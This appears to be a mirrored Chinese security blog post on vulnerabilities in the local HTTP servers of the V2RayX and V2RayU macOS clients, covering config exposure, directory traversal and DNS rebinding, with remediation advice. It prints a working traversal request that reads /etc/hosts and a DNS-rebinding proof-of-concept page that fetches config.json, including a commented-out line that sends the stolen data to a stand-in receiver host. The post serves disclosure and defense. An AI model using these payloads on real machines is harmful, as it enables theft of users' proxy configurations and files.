8

从 V2Ray 客户端看本地 HTTP 服务安全

 3 years ago
source link: https://phuker.github.io/v2ray-gui-client-vul.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

这是洒家半年前研究的,没啥重要的原创内容,一直懒得写,前几天想起来,于是搞篇文章瞎扯一番。本文主要以 V2RayX、V2RayU 等图形化客户端为例,研究本地 HTTP 服务的未授权访问漏洞,及其利用方法。

漏洞及其背景

V2RayX 客户端配置文件未授权访问漏洞

V2RayX 是一种 macOS 版 V2Ray 客户端,目前最新版本为 v1.5.1,发布于 2019-2-14。

首先我们要知道,所有的 V2Ray GUI 客户端实际上都是对 V2Ray Core 的一个包装,负责把用户设置转换为配置文件,并管理 v2ray 进程,最后肯定要执行一条类似 v2ray -config=/PATH/TO/config.json 或者 v2ray -config=http://127.0.0.1:8070/config.json 的命令。其中,配置文件通过命令行参数提供,可以是一个 HTTP/HTTPS 协议的 URL,也可以是本地文件。

当时洒家在这个项目里发现了一条 issue:功能建议 关闭 http://127.0.0.1:PORT/config.json 显示当前配置信息。V2RayX 的配置文件地址是通过 HTTP 协议传递到 V2Ray Core 的。有人建议不要通过 http://127.0.0.1:PORT/config.jsonv2ray 提供配置文件。

监听 127.0.0.1 提供 HTTP 接口是一种很普遍的操作。例如,QQ 客户端会监听 43004310 等端口,用于实现 QQ 邮箱等网页的“快速登录”功能。但是,开发人员需要注意,只应当监听 127.0.0.1 而不是 0.0.0.0,禁止局域网内其他设备连入,防止出现类似 2015 年百度全系 APP SDK WormHole 远程代码执行漏洞的漏洞。另外,开发人员需要验证 HTTP 请求头,防止 DNS 重绑定攻击。例如开源文件同步工具 Syncthing 监听了 127.0.0.1:8384 提供 Web UI,HTTP Server 会验证 HTTP Host 请求头。如果请求头不在白名单内,则拒绝访问:

$ curl -v http://127.0.0.1.xip.io:8384/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 8384 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1.xip.io:8384
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Mon, 02 Mar 2020 15:13:55 GMT
< Content-Length: 17
<
Host check error
* Connection #0 to host 127.0.0.1.xip.io left intact

洒家在这个 issue 的评论中建议通过本地文件而不是 HTTP 接口提供配置文件。这样可以减少不必要的攻击面,一定程度上提高安全性。有人回复洒家,认为洒家在扯淡(此评论已消失),于是洒家演示了一波 DNS 重绑定攻击。(整完活才发现撞洞了,有人 5 天前已经搞过一次了,极尴尬)

后续又有人评论

目前监听的地址是 0.0.0.0,建议还是 127.0.0.1 好些吧

这时洒家才发现问题比原来想的更严重。在 macOS 上,如果一个应用程序监听了 0.0.0.0,系统防火墙会弹出一个对话框:

您要应用程序“XXXXXX”接受传入网络连接吗?
blah blah blah ...
拒绝 允许

如果用户不理解或者没注意,点击了 允许,则相同局域网的其他用户就可以直接访问配置文件。有些用户(甚至一些信息安全从业的同学)从来都不打开防火墙,他们的配置文件更是直接白给。

V2RayU 的类似漏洞

macOS 上另一款 V2Ray 软件 V2rayU 也有类似的问题

2019-5-22 发布的 1.3.0 版本使用 /usr/bin/python -m SimpleHTTPServer 1085 命令来 serve PAC 脚本等文件,监听了 0.0.0.0。其后,在 2019-5-26 发布的 1.3.1 版本中改用 GCDWebServer,但是并没有解决这个问题,反而引入了目录穿越漏洞,可以远程读取任意文件:

>>> import requests
>>> print(requests.get('http://192.168.0.199:1085/../../../../../../etc/hosts').text)
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1   localhost
255.255.255.255 broadcasthost

这些漏洞在后续版本中似乎已修复。

DNS 重绑定攻击

DNS 通常是访问互联网的起点,往往也是其中相对薄弱的环节。恶意网站使用 DNS 重绑定攻击,可以轻松绕过浏览器同源策略的限制,达到通过浏览器访问本机和内网资源的目的。

以下是用 DNS rebinding 攻击 V2RayX 的一个 POC。即使用户启用了防火墙,或者 HTTP Server 只监听 127.0.0.1,当用户访问了恶意网页,配置文件也可以在约 1 分钟内回传到攻击者的远程服务器。

测试环境:macOS 10.14.5,Google Chrome 75.0.3770.80,网络环境为某校园网(含有校内默认 DNS),DNS Server 使用阿里云 VPS,Web Server 使用内网一台 Linux。

首先注册一个域名 www.example.comNS 指向上述 VPS。编写一个简单的 DNS Server Python 脚本,当收到查询 www.example.com 时会循环返回不同的结果(127.0.0.1 或者上述 web 服务器),且 TTL=0

web 服务器上放置一个网页 cross.html,代码类似如下内容:

<h1>hacker page</h1>
<p id="output"></p>

<script type="text/javascript">
var output = document.getElementById('output');
output.innerText += 'wait 65 sec\n';
setTimeout(function(){
    output.innerText += 'start attack\n';
    var url = 'http://www.example.com:8070/config.json';

    for(var i_try=0; i_try < 2; i_try++){
        output.innerText += 'try ' +i_try + '\n';
        var xhr=new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.onreadystatechange = function(){
            output.innerText += 'state change\n';
            if(xhr.readyState==4){
                // alert(xhr.responseText);
                output.innerText += 'content start\n';
                output.innerText += xhr.responseText;  // can be sent to any remote server
                // (new Image()).src='https://receiver.example.com/?content=' + encodeURIComponent(xhr.responseText);
                output.innerText += 'content end\n';
            }
        }
        xhr.send();
    }
}, 65 * 1000);
</script>

假设用户第一次访问 http://www.example.com:8070/cross.html 时 DNS 解析结果指向攻击者的 web 服务器。Chrome 等浏览器缓存 DNS 结果的时间大致在 1 分钟左右。因此上述代码在打开网页 60 秒后,使用 ajax 访问 http://www.example.com:8070/config.json 时,会再次查询 DNS,其解析结果指向 127.0.0.1。域名、端口、协议都没有变,可以“跨域”访问敏感信息。

效果截图:

v2rayx-vul-chrome.pngGoogle Chrome 最新版成功跨域读取 config.jsonv2rayx-vul-logs.pngDNS server 和 web server 日志v2rayx-vul-got-json.pngconfig.json 成功传回攻击者服务器

以上只是一个简单的 POC,如果精心构造 payload 和 DNS Server,就可以以相当大的概率窃取敏感信息。有关部门或者恶意用户只需要在常用可控网站上放置 srchttp://www.example.com:8070/cross.htmliframe,就可以有相当大的概率,神不知鬼不觉地窃取到访问者的 config.json,用户的小水管就会白给。

防御

目前在 DNS 服务器、浏览器、Web 服务器等层面已经有了很多手段缓解 DNS 重绑定攻击。

例如,某些 Linux 发行版自带的 dnsmasq 支持 stop-dns-rebindrebind-domain-okrebind-localhost-ok 等配置选项,会拒绝上游 DNS 服务器的内网 IP 解析结果。

对于 Web 服务器,以 Apache 为例,应当编辑配置文件,/etc/apache2/sites-enabled/000-default.conf 默认网站不要放置重要信息,Web App 只能通过正确的域名(+HTTPS) 访问。

实测扫描某内网

针对使用 V2RayX(监听 0.0.0.0)且未启用防火墙的用户,根据相关法律法规和政策,洒家懒得写了,此处删除 114514 字

修复建议

开发者修复建议

如果一定要用 HTTP Server:

  • 监听 127.0.0.1,防止局域网其他设备访问
  • 检查 HTTP 请求头,设置白名单,只允许 127.0.0.1localhost 等值
  • 检查 HTTP Server 组件,没有目录穿越漏洞等其他漏洞

对于 V2Ray 客户端,更好的修复方式:

HTTP Server 只用来 serve PAC 脚本这 1 个文件,使用本地文件的方式向 v2ray 提供配置文件。

用户建议

漏洞缓解方法:

在 系统设置 - 安全性与隐私 - 防火墙 中,开启防火墙。在防火墙选项中,将 V2RayX.app 等不需要传入连接的 APP 设置为 阻止传入连接

对于 V2RayX 用户,此项目已经长期未更新,也可以改用其他客户端。

高级用户可以直接用 homebrew 安装 v2ray-core 包,用命令行运行 V2Ray


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK